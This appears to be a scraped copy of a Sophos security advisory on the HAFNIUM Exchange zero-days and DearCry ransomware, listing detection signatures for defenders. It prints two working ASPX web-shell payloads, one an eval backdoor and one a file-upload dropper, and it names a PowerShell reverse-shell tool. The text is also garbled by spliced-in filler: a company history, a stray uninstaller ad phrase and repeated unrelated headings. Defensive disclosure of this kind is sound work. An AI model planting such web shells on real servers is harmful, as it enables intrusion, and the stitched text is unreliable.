1. Sophos Exchange 2016 Exclusions
2. Sophos Exchange Online Powershell Module

Four new zero-day vulnerabilities affecting Microsoft Exchange are being actively exploited in the wild by HAFNIUM, a threat actor believed to be a nation state.

Anyone running on-premises Exchange Servers should patch them without delay, and search their networks for indicators of attack.

Sophos protections against HAFNIUM

Sophos MTR, network and endpoint security customers benefit from multiple protections against the exploitation of the new vulnerabilities.

Sophos MTR

The Sophos MTR team has been monitoring our customer environments for behaviors associated with these vulnerabilities since their announcement. If we identify any malicious activity related to these vulnerabilities, we will create a case and be in touch with you directly.

Sophos Firewall

IPS signatures for customers running SFOS and XFOS:

These signatures are also present on the Endpoint IPS in Intercept X Advanced.

Sophos was founded by Jan Hruska and Peter Lammer and began producing its first antivirus and encryption products in 1985. During the late 1980s and into the 1990s, Sophos primarily developed and sold a range of security technologies in the UK, including encryption tools available for most users (private or business). Sophos has published an analysis of samples of DearCry ransomware: DearCry attacks exploit Exchange server vulnerabilities. The article outlines some new and interesting discoveries about its encryption behaviour and more.

IPS signatures for customers running Sophos UTM:

If you see these detection names on your networks you should investigate further and remediate.

Sophos Intercept X Advanced and Sophos Antivirus (SAV)

Customers can monitor the following AV signatures to identify potential HAFNIUM attacks:

Web shell related

• Troj/WebShel-L
• Troj/WebShel-M
• Troj/WebShel-N
• Troj/ASPDoor-T
• Troj/ASPDoor-U
• Troj/ASPDoor-V
• Troj/AspScChk-A
• Troj/Bckdr-RXD
• Troj/WebShel-O
• Troj/WebShel-P

Other payloads

• Mal/Chopper-A
• Mal/Chopper-B
• ATK/Pivot-B
• AMSI/PowerCat-A (Powercat)
• AMSI/PSRev-A (Invoke-PowerShellTcpOneLine reverse shell)

Due to the dynamic nature of the web shells, the shells are blocked but need to be removed manually. If you see these detection names on your networks you should investigate further and remediate.

We have also blocked relevant C2 IP destinations, where it was safe to do so.

In addition, the “lsass dump” stages of the attack are blocked by the credential protection (CredGuard) included in all Intercept X Advanced subscriptions.

Sophos EDR

Revo uninstaller portable pro. Sophos EDR customers can leverage pre-prepared queries to identify potential web shells for investigation:

When reviewing the potential web shells identified by the queries, the web shell will typically appear inside an Exchange Offline Address Book (OAB) configuration file, in the ExternalUrl field. E.g.

ExternalUrl : http://f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“key-here”],”unsafe”);}</script>

ExternalUrl: http://g/<script Language=”c#” runat=”server”>void Page_Load(object sender, EventArgs e){if (Request.Files.Count!=0) { Request.Files[0].SaveAs(Server.MapPath(“error.aspx”));}}</script>

Identifying signs of compromise

The Sophos MTR team has published a step-by-step guide on how to search your network for signs of compromise.

DearCry ransomware

Sophos Exchange 2016 Exclusions

The actors behind DearCry ransomware are using the same vulnerabilities as the Hafnium group in their attacks. Sophos Intercept X detects and blocks Dearcry via:

• Troj/Ransom-GFE
• CryptoGuard

Editor note: Post updated with addition of IPS signatures for Sophos UTM and additional detections. 2021-03-10 08:35 UTC

Editor note: Post updated with additional anti-malware signatures for Intercept X and Sophos Antvirus (SAV) 2021-03-11 14:30 UTC

Editor note: Post updated to advise that signatures are now present on the Endpoint IPS, and the addition of two further AV signatures 2021-03-12 09:10 UTC

Sophos Exchange Online Powershell Module

Editor note: Post updated with DearCry ransomware detections 2021-03-12 16:30 UTC